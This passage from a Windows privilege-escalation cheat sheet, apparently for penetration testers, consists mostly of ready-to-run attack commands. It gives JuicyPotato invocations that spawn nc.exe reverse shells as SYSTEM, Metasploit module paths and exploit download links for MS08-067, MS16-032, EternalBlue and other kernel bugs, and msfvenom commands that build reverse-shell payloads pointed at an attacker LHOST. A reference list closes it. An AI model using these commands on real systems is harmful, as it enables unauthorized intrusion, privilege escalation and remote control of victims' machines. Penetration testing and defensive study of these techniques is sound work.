- Windows Server 2008 R2 Enterprise
- Windows Server 2012 Datacenter
- Windows Server 2016 Standard
-
Execute JuicyPotato to run a privileged command.
JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7} JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe" Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337 ...... [+] authresult 0 {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK
EoP — Common Vulnerabilities and Exposure
MS08-067 (NetAPI)
Check the vulnerability with the following nmap script.
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 <ip_netblock>
Metasploit modules to exploit MS08-067 NetAPI
.
exploit/windows/smb/ms08_067_netapi
If you can’t use Metasploit and only want a reverse shell.
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows
Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python ms08-067.py 10.0.0.1 6 445
MS10-015 (KiTrap0D) — Microsoft Windows NT/2000/2003/2008/XP/Vista/7
‘KiTrap0D’ User Mode to Ring Escalation (MS10-015)
https://www.exploit-db.com/exploits/11199
Metasploit : exploit/windows/local/ms10_015_kitrap0d
MS11-080 (afd.sys) — Microsoft Windows XP/2003
Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
MS15-051 (Client Copy Image) — Microsoft Windows 2003/2008/7/8/2012
printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");
# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe
# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image
MS16-032 — Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
Check if the patch is installed : wmic qfe list | findstr "3139914"
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
Binary exe : https://github.com/Meatballs1/ms16-032
Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
MS17-010 (Eternal Blue)
Check the vulnerability with the following nmap script.
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>
Metasploit modules to exploit EternalRomance/EternalSynergy/EternalChampion
.
auxiliary/admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
If you can’t use Metasploit and only want a reverse shell.
git clone https://github.com/helviojunior/MS17-010
# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe
References
- Windows Internals Book — 02/07/2017
- icacls — Docs Microsoft
- Privilege Escalation Windows — Philip Linghammar
- Windows elevation of privileges — Guifre Ruiz
- The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte
- Basic Linux Privilege Escalation
- Windows Privilege Escalation Fundamentals
- TOP–10 ways to boost your privileges in Windows systems — hackmag
- The SYSTEM Challenge
- Windows Privilege Escalation Guide — absolomb’s security blog
- Chapter 4 — Windows Post-Exploitation — 2 Nov 2017 — dostoevskylabs
- Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability — September 18th, 2016 — Robert Russell
- Pentestlab.blog — WPE-01 — Stored Credentials
- Pentestlab.blog — WPE-02 — Windows Kernel
- Pentestlab.blog — WPE-03 — DLL Injection
- Pentestlab.blog — WPE-04 — Weak Service Permissions
- Pentestlab.blog — WPE-05 — DLL Hijacking
- Pentestlab.blog — WPE-06 — Hot Potato
- Pentestlab.blog — WPE-07 — Group Policy Preferences
- Pentestlab.blog — WPE-08 — Unquoted Service Path
- Pentestlab.blog — WPE-09 — Always Install Elevated
- Pentestlab.blog — WPE-10 — Token Manipulation
- Pentestlab.blog — WPE-11 — Secondary Logon Handle
- Pentestlab.blog — WPE-12 — Insecure Registry Permissions
- Pentestlab.blog — WPE-13 — Intel SYSRET
- Alternative methods of becoming SYSTEM — 20th November 2017 — Adam Chester @xpn
- Living Off The Land Binaries and Scripts (and now also Libraries)